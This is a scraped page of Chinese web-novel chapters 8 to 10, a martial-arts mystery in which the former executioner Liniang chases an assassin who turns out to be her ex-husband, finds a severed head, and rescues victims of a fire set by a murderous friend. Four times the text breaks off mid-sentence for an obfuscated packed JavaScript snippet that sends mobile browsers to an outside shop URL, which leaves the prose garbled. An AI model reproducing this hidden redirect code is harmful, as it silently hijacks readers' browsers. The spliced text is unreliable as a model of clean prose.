RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704794|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 血来,骇人至极。 “咦?”陈奉请奇道,“不对,你没吃我的解药。谁帮你活下来的?” 陈宝珠道:“我也不知是谁......” 她突然没法发出声音来,嘴唇一开一合,总觉得脖子凉飕飕的。 一根通体漆黑的小针,从她的右脖颈穿入,又从她的左侧脖颈穿出。 如果陈宝珠真是颗珍珠,现在她就可以做成项链了。 陈宝珠一头栽倒,血流如注。 赵皆大惊:“何人行刺?来人,来人!!!” “小宝!” 梨娘猛然回头。 小宝当即趴下,吭哧吭哧爬行至墙角。 第二下,陈奉请闪电般出手,掷出银碟,打落刺向他的毒针; 第三下,梨娘狠狠一拽赵皆的后脖领子,毒针穿过他的胡子扎到地板上,赵皆吓出一身冷汗; “看好小宝!“ 梨娘信手将赵皆往墙角一扔,捞起帷帽,自己追出门去。 夜色深深,刺客目的已成,当即想抽身离去。 梨娘自然不能如他所愿。但她越追,便越是心惊。 她居然快要被甩掉了! 梨娘真有点怀疑人生了。 她做处刑人的时候,也是拔得魁首,身手超群,由于一半的人生都在被杀和追杀别人,轻功更是上上等。 碰见一个陈奉请没讨到便宜就算了,怎么随便一个刺客还能把她当成软柿子,想惹就惹了? 当即大怒。她认真起来的时候,身形愈发轻盈,像鬼魅般,死死咬着前方的黑衣人。 云开雾散,原来今夜月色极清澈,极美。 刺客忽然不再逃窜。 又在有什么诡计? 梨娘也警惕地停下脚步。细细端详,眼前的黑衣人,似乎身形有些许熟悉。 刺客的声音低沉如钟声敲响: “我原以为再也见不到你了,谢梨!” 梨娘如遭雷击。 她从喉咙里挤出几声干巴巴的笑,道:“妾身并不认识你。” “......”刺客深深地吸了口气,扯下面罩,此人剑眉星目,杀气凌风,静时便如山峦般气势惊人,“谢梨,你还是一样满口谎言。你怎会认不出我?” 前夫多了就是这点不好。 随便都能遇见不想遇见的人。 “谁能想到当年嫉恶如仇的燕衔杯燕大侠,现在沦落到这种地步了呢?“梨娘咯咯笑起来,道,“刺客,呵,刺客.....你怎么会愿意做这种事?你可是发下大愿,要做个侠客啊!” 燕衔杯静静地看着她:“你也变了许多,谢梨。” 他的目光,让梨娘十分不舒服。似乎有些怜悯似的。 梨娘可不需要。 在燕衔杯抛弃她和小宝的时候,就再也不需要了。 梨娘道:“闲话休提!” “不知道宝珠小姐,怎么惹到你这位大侠了?你竟要害死她!” 燕衔杯八风不动,道:“她杀过人,并不无辜。” 梨娘怒极反笑,道:“她是可怜人。而且如此说来,你我岂不都先去死一下比较好?” “好啊。”燕衔杯笑了,格外爽朗,在梨娘悚然的目光中,缓缓道,“一言为定。” “你和我一起死,一起投胎,想必下辈子,便能做对真正的神仙眷侣。” 8. 第8章 心有千千结 “你疯了。” 梨娘甩下这句话,当即很不要脸面地逃之夭夭。 燕衔杯发疯,真要和她殉情该怎么办。 这个真打不过。 她曾经是落仙阁第一,但对面是天下第一。 梨娘心想,人不要有太多活着的前夫! 后患无穷啊! . 梨娘回到义庄时,天色已然微明。露水在她的帷帽上凝结,湿漉漉的,令人十分不舒服。 小宝和三斤包子一起扑进她怀中,志得意满,但还未来得及邀功,下一秒就睡着了。 他从狼藉里抢救出来了这些食物,其他人要也不给,这样娘就不必操心餐饭了.....呼呼..... 赵皆眼下青黑,满面希冀,迎上来,道:“如何?” 梨娘摇摇头:“追丢了。此人武艺非凡,不可小觑。你且记住,如果再遇见他,也不可冒进。” “不可能!”赵皆连自己的胡子都拽下来几根,惊道:“连你都对付不了么?” “梨娘也非金石之躯。”梨娘心累,道,“你可曾听闻,‘燕来晚,花来迟,泸州人相食’?” 赵皆惊叫道:“燕衔杯?!” 小宝眉毛动了动,很不安的样子。 他一旦睡着了被惊醒,就容易面色青紫,喘不上气。 梨娘瞪了赵皆一眼,赵皆悻悻地压低声音道:“我已经有四年多未曾听闻他的消息了。哎呀,他可是当世第一侠客!一人一剑闯宫门,直取贪官狗头,自身毫发无伤.....当时谁不羡慕他的英雄气概!只要是男子,便心向往之!” 梨娘娇笑道:“知道的这么清楚。你是他的拥趸?如果妾身再遇见他,是否还要帮大人要些签名?” 赵皆立刻萎靡。梨娘便住了嘴,哼道:“宝珠如何?” . 陈宝珠还活着。 真是出人意料。 她的脖子被毒针从侧面直直穿了一个洞,梨娘若是贴上细瞧,能和对面的人大眼瞪小眼。 但她旁边刚好有一个自称能从阎王手里抢人的黑心大夫,而又恰好赵皆家底颇丰。 七根金条换来七根长针。不知是何种奇法,陈奉请说只能让她保住一命,醒不醒的过来全看天。 总之,她还活着,只是失血过多,昏迷不醒。 梨娘瞧见了,一阵幻痛,鸡皮疙瘩起了一身,觉得换成自己宁可愿意割肉刮骨,说不定更好受些。 陈宝珠不可能呆在义庄养伤,这要是移动她时磕了碰了......梨娘又是一阵幻痛,她连忙细细叮嘱道:“宝珠小姐必然知晓些许内情,才被灭口。大人,你一定要派人严加看守、悉心照料。” . 忙活一整天,义庄的看守都已经来换班,梨娘才感到些许疲惫。生怕小宝睡不好又发病,梨娘决定回到家中,稍作修整。 赵皆已经疲惫到快失去人形,梨娘说什么都只会连连称是。 陈奉请依然神采奕奕,容光焕发,简直让人疑心这家伙究竟是不是人。 他瞧了瞧行尸走肉般的赵皆,笑道:“夫人,义庄上似乎丢了点东西。赵大人是有心无力,不知夫人可否帮我?” 梨娘走后,他自觉嫌疑差不多被洗清,顿时惊觉,他已经少赚了一天的钱。 如果明天还要来帮忙验尸,那么他明天也就不能继续赚钱了。当即决定连夜点着灯笼把剩下的尸首全验了。 夜色深深,面对一屋子死人,他也是真不害怕。 在各种意义上,梨娘真是佩服他。 梨娘无语道:“什么东西丢了?” 陈奉请道:“一个头。” “什么?”梨娘没听清。 “赵丰的头。” 梨娘:? . 赵丰的头丢了。 赵丰与墨诚的尸体早已勘验完毕,单独放在一处。而其余未勘验完的陈家人,放在另一处。 陈奉请路过此处,发现一具无头尸不知道什么时候变成了两具。 义庄上的看守,都觉得这地方晦气无比。夜间有什么声音,也不敢去听,白天有什么动静,也不敢去瞧。恨不得耳聋眼瞎才好,生怕冲撞了什么忌讳。 因此他们也不知道,这头究竟是什么时候被带走,又是被谁带走的。 梨娘盘问下来,人人都说没看见什么可疑人物。 梨娘十分无语,心道难不成是燕衔杯顺手给牵走了?大侠劫富济贫改成劫头济贫了???可那旁边就有个没头的,怎么不把头给那个尸首安上??? 一通胡思乱想,梨娘扶额道:“我记下了。大夫快去歇息罢.....容我好好想想.....” . 梨娘很擅长找人,很擅长追杀,现在看来,她还很擅长找东西。 这不,丢了的东西,她很快就找到了。 梨娘一手抱着孩子,一手拎着包子,在自己家门口发现了一颗死人头,和一封求婚书。 死人头,赵丰的。 求婚书,不敢想是谁写的。 梨娘把孩子安置好,面对桌上这两样东西,简直头大如斗。 她忍着恶心端详一番,赵丰的颈部端口极为粗糙,血肉模糊,就像是凶手气力不足,生拉硬拽,拼尽全力,就为了让赵丰身首异地。梨娘看了十分纳闷。 更麻烦的是那封求婚书。字迹全然陌生: “榆阳一别经年。上官皇后音容笑貌分毫未改,我心甚慰。我予皇后,不过林中蝼蚁,皇后予我,则如明月新辉.......” 咚咚咚。 梨娘刚看没两行,门外却传来敲门声。 不知是谁拜访。梨娘瞧瞧桌上人头,心知这绝对不可让人瞧见,左右看看,实在十分穷酸,无一处可藏。 “姐姐,你在吗?” 墨画的声音,怯怯地响起,她道:“我给姐姐送些餐食。” “就来。”梨娘心道可千万不能再吓着她。 至于死人,便对不住了。 她信手一抛,人头稳稳卡在梁上,瞧着十分可怜。梨娘心里实在非常抱歉,决定清明节的时候再给他也烧点纸钱。 墨画提着一个竹篮,眼圈还是红红的。但相比之前,她的状态明显好了不少。 墨画愧疚道:“我不该与姐姐发脾气。墨诚之死,是我没料到的,所以才一时失态。他.....他已成鸩鬼,没关系的。我亲手做了些故乡的小菜,姐姐,你原谅我了吗?” 她一番话说得小心翼翼,梨娘岂有不应之理,道:“哪谈得上什么原谅不原谅?你伤心,我也是明白的。” 墨画这才展露笑容,献宝似地从篮子里把饭菜一样样摆出来。大阜人爱吃辣,梨娘却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704795|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 对此苦不堪言,见了那鲜红一片的辣油,只觉腹中有如火烧。 此时又难拂墨画一片好心,梨娘小心夹起一片红油莲藕,放入口中,只觉得自己的舌头死了。 她含泪做出一副高兴的样子: “妹妹手艺还是那般好。” 梨娘演绎精湛,墨画并无发觉。 她瞧见梨娘小屋简陋,桌椅蒙尘,忧心自己对梨娘关怀不足,便拿起抹布,洒扫起来。 梨娘被辣得唇舌发麻,又生怕她什么时候一个抬头,看见一个人头把自己吓死过去,含混道:“不必麻烦了,怎么好让你再费心?” 墨画突然道:“姐姐,我想向赵大人求一纸休书。” 墨画做事细致,恨不得把每个角落都打扫一遍。梨娘庆幸自己藏匿人头比较隐蔽,道:“我不该替你做决定。赵大人是贪图你的美色,但和他一起,至少不会沦落到我这般连饭都吃不起的地步。” “也是。”墨画恍然大悟道,“我有些体己,但若是要供我们两人生存,还是十分艰难。” 梨娘可没有一直要姐妹养的厚脸皮。梨娘轻咳一声,道:“这月初我的伤就已经养好了,钱的事我也会想办法的。” 墨画笑道:“姐姐,你的仙法一出,便是路边的乞丐,都会知道上官皇后回来了。既然姐姐现在选择隐姓埋名,那钱的事只能我来想办法。” “唉,如果赵大人突然死掉就好了。”墨画道,“他的儿子已经成丁,妻子也早就仙去。咦,姐姐,你怎么总是往上面看,是有什么吗?” 梨娘连忙道:“没什么,没什么,你做的太好吃了,我忍不住回味——妹妹,别想这些不着边际的事了,可否帮我去瞧瞧小宝?” “那我以后多给姐姐做些。”墨画点点头,放下扫把,莫名兴奋,道,“我去了。往后的日子里,可是要我们三个一起过了。” 墨画一转身,梨娘立刻倒了碗水,把菜在里面全涮了一遍后囫囵咽下,只觉得比在半夜狂追燕衔杯更加难撵。 . 好说歹说请走了墨画,梨娘终于得空窥见下半张求婚书: “我本欲将心向明月。” “却知,月难圆,人难长久。” “世间之道,在于平衡。” 瞧见“平衡”二字,梨娘一骨碌从床上弹起来,脸色霎时变得无比难看。 须知,落仙阁教义: 世间之道,在于平衡。 “仙人说,我是鹊命。” “全因别人占了我的福气,我才过得如此艰难困苦。我的福气全让别人享去了,我不就只能替别人吃苦了么?” “我问仙人,上官皇后您,是什么?” “我觉得您像凤凰一样。” “仙人说,您不是真凤凰,而是只金乌。” “不论是凤凰还是金乌,恐怕都不会在乎一只喜鹊。” “我知以我贫贱之身,难配皇后。” “此身更有外结,更羞于向皇后提起。不过此信一出,外结已除。” “我知皇后之命与我之命相结,是皇后之运哺我之运,此乃皇后之难,我之福;奈何我与皇后,同为半翅,要我眼见皇后与人比翼,也是心如刀绞。” “我斗胆提起结命,发誓从此之后,日杀一人,剿灭鸩鬼,以此哺皇后运道。” “墨画亲笔。” 9. 第9章 救命 陈奉请是个大忙人。 他整日忙于看诊、制药,然后狠狠牟利。 医者仁心,悬壶济世的美好品德,他是一点没长。非但没有,还觉得十分匪夷所思,认为那些人是脑子出了毛病。 他行医救人有十个准则: 一,没钱的不救。 二,太有钱的也不救。 三,病得太轻的不救。 四,脑子有病的不救。 五,差人来请、而非亲自上门的不救。 六,男人不救。 七,女人不救。 八,小孩不救。 九,老人也不救。 十,让他心情好就救,心情不好就不救。 陈奉请搁下笔,却听见院门轻轻咯嘣一声响,顿时奇了,什么东西能发出这种声音? 有个漂亮女人,正手忙脚乱地把他的挂锁安回去,手中拿着把铁丝。 正是梨娘,她救人心切,入他人家门如入无人之境。 由于梨娘身体记忆过于牢固,翻墙撬锁这种事做得比走正门还多,半只脚都踏进院门,她才惊觉自己是来求人的,不可冒犯。于是立刻老老实实地把锁和自己都放回原位,并祈祷陈奉请耳聋眼瞎,并没瞧见。 她轻咳一声,敲了敲门,道:“陈大夫,我有要事,求你救命。” ..... 很遗憾,陈奉请格外耳聪目明。 他掂了掂自己的门锁,十分精巧,理应是大秉都城的能工巧匠所作,而且分明锁在门内。梨娘能一秒撬开,又瞬间复原,也真是一位奇女子。 他装作若无其事地开了门。梨娘的发丝湿漉漉的,面上飞红,穿一身亚麻色衣裙,裙摆已经烧焦,当真是狼狈不堪。 梨娘不欲如此见人。奈何求人救命,她只好语气急切道:“赵大人重伤,求大夫救命。” “不急。”陈奉请就是有这样让人恨得牙痒痒的本事,他微笑道,“你需得和我细细讲清原委。这样,我才好判断救不救。” . 半个时辰前,梨娘脑中心念百转,两案的种种诡异之处,在这封求婚书下,便都得到了解释。 她抓起求婚书,左右已经不见墨画的影子。想起信中所说“外结”,除了赵皆还能有谁? 梨娘一路飞檐走壁。但此时并非半夜,她踩碎不少瓦片,惊起左邻右舍怒骂。 她只好疯狂道歉:“抱歉,抱歉,我有急事,抱歉.....” 很快就没人说她了。 因为大家的嘴巴都被另一句话占据了: “走水了!” 梨娘赶至县衙,果然,那里已成一片火海。 墨画无比崇拜上官皇后,她烧县衙,也是抱着与上官皇后烧未完成的广寒宫时一样朴素的念头:多浇点油,多点放火,烧的均匀。 众人正从井里取水救火,梨娘心知不过是杯水车薪,除非有老天开眼降雨,否则这般火势,便是只有烧得干干净净了才会停。 梨娘拦住一个小厮,问道:“情况如何了?可有人伤亡?” 小厮不知她是谁,只当是好心人,道:“火来的蹊跷,里面还困了几个人呢,赵大人也在里面!” 却见火海中发出一阵剧烈的噼啪声,梨娘立刻令众人趴下,果不其然,爆燃接踵而至。 一团小火球被震出来。小火球在地上挣扎不止,拼命踢开着火的毯子,赵皆从里面蹦出来,大笑不止:“老天不收我,自有我去处!” 梨娘十分诧异,道:“你居然无事?” 赵皆得意地捋捋胡子,道:“老夫有福啊,哈哈哈哈哈哈哈!” 他一通狂笑,神情突然又低落下来:“但我那儿媳,昏迷不醒,怕是没有我这样好的命了。” 陈宝珠失血过多,一直没醒过来。此时更是凶多吉少。 梨娘也只能叹息。 陈宝珠乐善好施的名声在外,结果却落得个全家被毒杀,自己再身死火场的结局,实在太可怜了些。 忽地,一个好主意如闪电般划过梨娘的脑海。 这难道不是给小宝找个后妈的好机会? 陈宝珠是个好女子啊。梨娘命硬得很,没那么容易死。况且就算梨娘不幸殒命,陈宝珠也肯定不会亏待小宝。 想通其中关窍,梨娘顿觉拨云见日,茅塞顿开,当即抢过小厮手中木桶,将自己身上淋得透湿,施施然跳进火海。 赵皆目瞪口呆,伸手欲拦,梨娘又岂是他能拦住的?可见身手太好,也是苦恼。 梨娘的命果然很硬。 她并不熟悉县衙,只好大声呼唤宝珠碰碰运气,万一她恰好醒来,只是无力离开呢? 也只有梨娘听力敏锐远超常人,才能在分辨出在快被烧完的木质楼梯上,传来的不属于火焰灼烧的咚咚声响。 . 陈宝珠不想死。 陈宝珠想活啊! 如果她想死,在‘有悔’的穿肠剧痛下,她一定会去死。如果她有一星半点想死的念头,她在见到父母尸体的那一刻,她早就一起死了! 她要活着啊,哪怕喉咙被毒针刺穿,呼吸中觉得自己像个漏气的气囊,她也要活着啊! 陈宝珠在烟尘中醒来的时候,无比地感恩神仙。 祂竟如此地眷顾我! 它本可以直接夺取我的生命,却还给了我挣扎的机会! 她慌忙想要逃离,却觉得自己的手脚不听使唤,呼吸也格外沉重。越吸气就越憋闷,哪有这样的道理? 我不想死。陈宝珠觉得自己用了吃奶的力气,只为了试图下一个台阶。但在外人看来,倒在楼梯上的女人只是轻轻地动了一下指节。 怎么没人来救我呢?陈宝珠目眦欲裂,火舌舔舐着她的脸颊。她感觉不到痛,反而纳闷无比,心道,我明明有万贯家财,怎么没人来救我呢?难道不知道救命之恩大于天么?我陈宝珠会是不报恩的人么? 我怕死,我承认是懦夫,我怕死!不管是谁,谁来救救我? 我不想死...... “宝珠!” 陈宝珠缓慢地转动眼球,良久,食指微动: 咚、咚。 . 梨娘瞧见陈宝珠的模样,真怕她是死了。 她连忙扑灭她身上的火苗,把她翻了个面,探探鼻息,还好还好,人还有气。 一条胳膊连着半边脸颊都被火舌狠狠舔了一口,就不晓得会不会留疤了。 梨娘立刻鼓励她,道:“坚持住,想想你的亲人朋友,他们.....呃,在九泉之下肯定不会欢迎你!” 这话说得太失败,梨娘决定闭嘴。 陈宝珠声带被捅穿了,有心无力,在她背上发出了些许气音,似乎是在笑。 又似乎在说些什么,连梨娘都得凝神细听,才能听得出那些音节。 她问的是:“你为什么来救我?” 梨娘便诚实道:“妾身有孩子要养,图你的钱。” 陈宝珠又在笑。 陈宝珠:“如果能从这里出去......” 她还没说完,二人面前的出口轰隆一声塌了,彻底无路可走,可见梨娘命里实在缺钱。 二人:“......” 陈宝珠只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704796|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 觉得喉咙里都沁出了血味,嘶哑道:“看来夫人大恩,只能下辈子再报。” “不一定。”梨娘却不觉得如何,她笑道,“你怕高么?” 梨娘想出的法子,只需要三步。 三、二、一。 陈宝珠懵然躺在担架上,大脑放空。 常人从二楼跌下来,少不得跌打扭伤,梨娘背负着一个人的重量,从阁楼跃出,也不过双腿酸软、一时难以行走罢了。 梨娘心中甚慰。 可见以前当处刑人的时候练出的身手并不是毫无用处,再有了陈宝珠,她便不怕小宝养不大了。 接下来,只要告知赵大人事情原委,便能到手千两银子...... . “画儿,你怎么来了?” 赵皆正指挥救火,瞧见墨画惊喜莫名,把面无表情的女子拥入怀中,道:“我就知道你心疼我,我的心肝肝——” “你还真是命大。”墨画说。 赵皆忽然觉得腹部一凉。又一热,然后连声音都发不出来了。 墨画抽出染血的尖刀,一手抚胸,长出了一口气,笑道:“我可不能再搞砸了。原本忘了割掉脑袋,就连与结书也送不出。你的福气,我一定要补给姐姐。” 她又补了一刀,出手狠辣,然后才在看守的惊呼声中,混入人群,消失不见了。 梨娘找来时,只瞧见一个欣快的背影。 和地上濒死的赵皆。 天哪。 梨娘扶额,心想,早知道学医了。 . “赵大人重伤,陈小姐又添新伤,我不得不再来麻烦你.....”梨娘头大如斗,道,“赵大人、陈小姐皆是家底丰厚,想必不会拖欠你的银两。” “不救。”陈奉请笑道,“夫人请回吧。” 梨娘怎么也料不到是这种结果,道:“为何?” 陈奉请便把那张写满了十原则的纸递给她。梨娘一瞧,有钱没钱男人女人老人小孩......这世上还有其他人吗?她满头黑线。 看来是这祖宗生活太如意,准备拿她寻开心。 梨娘把那纸重重地一折,道:“我明白了。你要什么?” 陈奉请笑道:“夫人还是不懂我。这世上的东西,有什么是我得不到的呢?” 梨娘心想,陈奉请如此勤勉,应该早就不缺钱。且从未听说过此人有父母亲人,此等医术又到哪都得被敬上三分......真可谓没有弱点之人。 陈奉请话音一转,道:“夫人可知我为何行医?” 梨娘顿感不妙,道:“为何?” 陈奉请笑道:“因为人都是一样的。” 无论是高门权贵还是贫民百姓,在临死前,都是一样的。在生死面前,有人跪地求饶,有人痛哭流涕,有人歇斯底里,居然都只为苟活多一瞬间。 真是太有意思了。 “我太天才了。”陈奉请在梨娘的瞠目结舌中,恬不知耻地道,“这世上的事情总是太容易。” “......”梨娘见多了人渣,对陈奉请这样心理扭曲的伪人,也不是没有心理准备。她道:“你想让我跪下求你吗?” 梨娘盘算着也不是不行。多余的价钱,她会向赵皆、陈宝珠讨要。 “夫人。”陈奉请笑道,“那太轻易了。” 他低下头,在梨娘耳边轻轻地道:“我要看你的死状。” 他为梨娘斟满一杯酒,笑道:“请吧。” 梨娘接了,端详一番,只觉酒味浅淡,除此之外什么也看不出,便问:“这是什么?” “有悔。” 10. 第10章 在天愿作比翼鸟 梨娘非常震撼。 她道:“这东西为什么就这样普通地放在桌子上?你每天就喝这个下饭吗???” 陈奉请噎了一下,道:“夫人果然总能让我惊讶。你撒娇卖痴,成千上万的男人会为你神魂颠倒。可惜,我不是其中之一。” 是让梨娘不要装傻的意思。梨娘道:“我喝了毒酒,我不就是会死么?” 陈奉请道:“不一定。‘有悔’并非无解之毒。” 梨娘伸手道:“那你先给我解药。” 陈奉请笑道:“那岂不是少了许多乐趣?” 这也不行,那也不行。看来是真要梨娘饮了毒酒,把小命交入他手中。 梨娘审慎地思考了一下,一道灵光划过脑海,她顿悟,这哪里赔钱,这简直太划算了! 首先,赵皆和陈宝珠的伤势,等不到大夫,半日就咽气了,而‘有悔’毒发三日,她赚两日半;其次,她做出如此之大的牺牲,陈宝珠和赵皆必然会重金酬谢,她又赚;最后,若是陈奉请没给她解药,她便吊死在他门口,留下遗书,陈奉请还得给她偿命,她还多赚一条命呢! 当即仰头一饮而尽。 陈奉请瞧了,饶有兴味道:“夫人果然光风霁月,陈某也必定不负所托。” . 陈宝珠和赵皆伤势都不轻,梨娘催促着陈奉请赶忙动身。二人紧赶慢赶,却见火场周围聚集着一大群百姓,皆是神情紧张,将周围挤得水泄不通。 “劳驾让一让,让一让。”陈奉请慢悠悠的,梨娘不得不扯着他,费力向人群中挤,“大夫来了,急着救命呢。” 旁边的大娘连忙拦住她:“哎呦,这不是梨娘吗?可万万不可靠近哪。你快叫陈大夫回家中去。这是咱们县唯一的大夫,可千万别让人抓了去......” 其余围观众人,也纷纷点头,神情惶恐,七嘴八舌道:“梨娘你平时最机灵,快把他藏起来。” 梨娘暗暗叫苦,踮起脚尖,果不其然人群的尽头,火场的边缘,绕了一圈彩线。她心中尖叫,道:“不是吧?来这么快?” 她立刻又抓起陈奉请,道:“此地不宜久留,你且随我来。” 晚了。 . 巡抚已经发觉了人群的骚动,奇道:“大夫?何时大燹国允许有此等不敬仙师之人存在了?” 人群像被掀开石头的西瓜虫般一下子炸开,四散在“阳光”照不到的角落里。 梨娘抓着陈奉请,一下子便像在旷野的沙滩上赤身裸体般醒目。 还是那一行五人,以玉遮面、身着彩衣,行为十分怪异。 与其说是他们几个人都是“巡抚”,且不如说“巡抚”恰好轮值到他们几人。 梨娘福了一礼,柔柔道:“您说什么?恕梨娘愚钝,并不知晓。” 五分之一的巡抚道:“你便是梨娘?我听下人汇报说,你前去请大夫,可有此事?你难道不知,生老病死乃是命定,只有仙人才能修改运道?” 再让她听见这种狗屁言论,她就扎聋自己的耳朵。 梨娘柔声道:“妾身并无如此想法。赵大人与陈小姐皆是有恩于妾身。我瞧见他们要死了,于是去请人来入殓,好让他们走得比较体面。” 赵皆、陈宝珠俱是重伤濒死,倒在地上。听见梨娘说这番话,便都转头来看她,眼里充满渴望。 梨娘面色不改。 “一派胡言!”巡抚道,“我早已接到消息,陈县出了个害群之马。” “永熹郡大疫,国师夜观天象,发觉混乱来源于此地!这里竟有人占了别人的命数!原本,这里有只鸩鬼。” “可是鸩鬼死了,怎么永熹郡的瘟疫还没停止呢?” 那就去永熹郡治瘟疫啊,不治怎么会自己好呢? 梨娘微笑道:“妾身愚钝,不懂天象,大约是国师他老人家老眼昏花,看岔了吧。” “荒谬,国师怎么会错?”巡抚大怒,指着梨娘的帷帽,道,“原是这里有人私藏大夫,让原本要死的人不死,可不就只能有别人死了么?本官瞧你便是主谋,拿下!” 梨娘少时实在骄纵。后来虽然成熟些,但言语间总有真情流露,为此吃了不少苦。 不过嘛,梨娘实在蹲过很多次大牢,从里面的前辈们身上学了许多人才才会的本事。撬锁越狱对她来说实在不要太简单。 便乖乖不动,任人擒拿,打算晚上出来再瞧瞧两人死了没有。若是没死,她还能替他们想想办法。 . 梨娘眼睁睁瞧见碰她的两位巡抚,手掌俱是落地。 断口平平整整,被人一剑削下,连痛都没有。他们眼睛瞧见了,才感觉到切身的痛出来。 另一位巡抚,原本一直立在后面不做声的,甩净剑上血珠,平静道:“不可冒犯。” 陈奉请感觉到梨娘抓着他的手突然用力,连他都感觉到痛的地步了。却见梨娘瞳孔放大,咬紧嘴唇,像是见到什么难以置信的东西了一般。 如果并非在众人前,她一定会流泪。 连死都不怕的人,会因为什么哭呢? 陈奉请久违地来了兴趣。 燕衔杯摘下面上面具,露出一张格外俊逸的面容,这身彩衣并不适合他,显得格外怪异。 他笑道:“又见面了,谢梨。” “为什么?”梨娘喃喃。 “为什么!”地上的巡抚按住手腕喷血的伤口,痛声道。 燕衔杯像看垃圾一样扫了他们一眼:“难道你们瞧不出,面前的是位真正的处刑人么?” 他去牵梨娘的手,梨娘后退几步,燕衔杯并无芥蒂,不依不饶,终于握住在轻轻颤抖的细长手指。 袖口上滑,先瞧见的是,纵横交错的伤疤。 依稀拼成一个图案。 像是一半鸟类的翅膀。 “瞧见了?”燕衔杯的目光在那些伤疤上,长长久久地停留,听见地上两个人的絮语,才分出眼神瞧了他们一眼。 其余人也十分震动。 躺着的两个巡抚还是躺着,站着的两个巡抚也跪下了,恭敬垂首,不敢再发一语。燕衔杯也半跪下来,笑道:“听凭大人吩咐。” 巡抚,只是落仙阁的眼线。 而处刑人,则是落仙阁的刀。 “.....”梨娘猛地抽回手,道:“知道了就快滚。” “......燕衔杯,你留下。” 两个巡抚带着他们同伴的较大部分滚了。 梨娘对陈奉请道:“你先去瞧瞧陈小姐和赵大人。我有些私事要处理。” 陈奉请瞧着她远去的背影,似是要和那个莫名其妙的乞丐说些悄悄话。又瞧瞧地上两个重伤患。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704797|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p>赵皆捂着伤口,眼巴巴道:“陈大夫,快救救我。” 陈宝珠嗓子发不出声,但眼球一直追随着梨娘。 陈奉请略一思量,赏了他们一人几针,道:“一炷香里死不了。” 便大摇大摆地去听墙角了。 二人:“......" . 梨娘刚认识燕衔杯的时候,他是嫉恶如仇的大侠。 正的发邪。 不然梨娘也不会嫁给他。 哪怕当初和离,也是和燕衔杯实在太过正直有关,梨娘也希望他能一直这么下去。梨娘身不由己,总希望有人能一直自由。 梨娘原以为他至多做了权贵的死士,现在瞧见他与落仙阁混在一处,何种滋味简直难以叙说。 梨娘冷声道:“你难道不知道那是什么地方?若要教梨娘说,梨娘宁可死了也好过呆在那里!落仙阁残害了多少人?只为了他们那些狗屁不通的教义,全疯了!” “你怎么会和他们混在一起???” 燕衔杯注视着梨娘,眉眼温柔,他道:“谢梨,我爱你。” “你是我今生最爱、最重要的人。我再也不会像爱你一样爱上别人了。” ? 梨娘开始忧心他其实是脑子坏了。 “迟来的爱情比草贱。”陈奉请抱臂凉凉道,“我见得多了。夫人,你果然只招烂桃花。” 这又是哪冒出来的爱情顾问? 梨娘简直一个头比两个大,指着地上的伤患对陈奉请道:“你别来添乱。去看你的诊,你答应过我的。” 又对燕衔杯道:“事到如今,又有什么意义?你快些从这里脱身。你还没入教,能走得了。” 燕衔杯没把路边冒出来的丑角看进眼中,道:“我常常梦到你死了。世道这么乱,你和孩子很容易就死掉。我想忘记你,可是我不行。你总是来我梦里。” 梨娘叹道:“当年的事我们各有难处。休要再提了。” 陈奉请恍然大悟,笑道:“原来你就是夫人那个抛妻弃子的前夫啊!” 这人看戏看得真是没完没了了。 燕衔杯发现他有点碍事了。 梨娘按下燕衔杯的剑,生怕他把这里唯一的大夫砍了,连忙道:“你别理他,他脑子也有毛病。你若是因寻我才进的落仙阁,我已经挣脱魔窟。你也快些离开吧,这并非什么好去处。” “我确实是追随着你的脚步来的。”燕衔杯微微一笑,道,“但我是来对了。” “谢梨,或者说,苏梨儿,你果然该死。” 刚有所释然的梨娘:? 每一次对前夫的原谅都是对自己的背刺,梨娘无语道:“来来来,你现在就挥剑砍了妾身,妾身也不会有任何反抗。只求下辈子再也不遇见你!” “那可不行。”燕衔杯道,“我说过,你得和我一起死。” 梨娘有时候根本不明白他脑子里在想什么。 她瞧着燕衔杯的背影,心想如果人能永远不会变就好了。燕衔杯从前心直口快,心思从来都摆在脸上。 陈奉请站在她旁边,道:“依我之见,他就是后悔了。” 这人能不能不要再看热闹了? 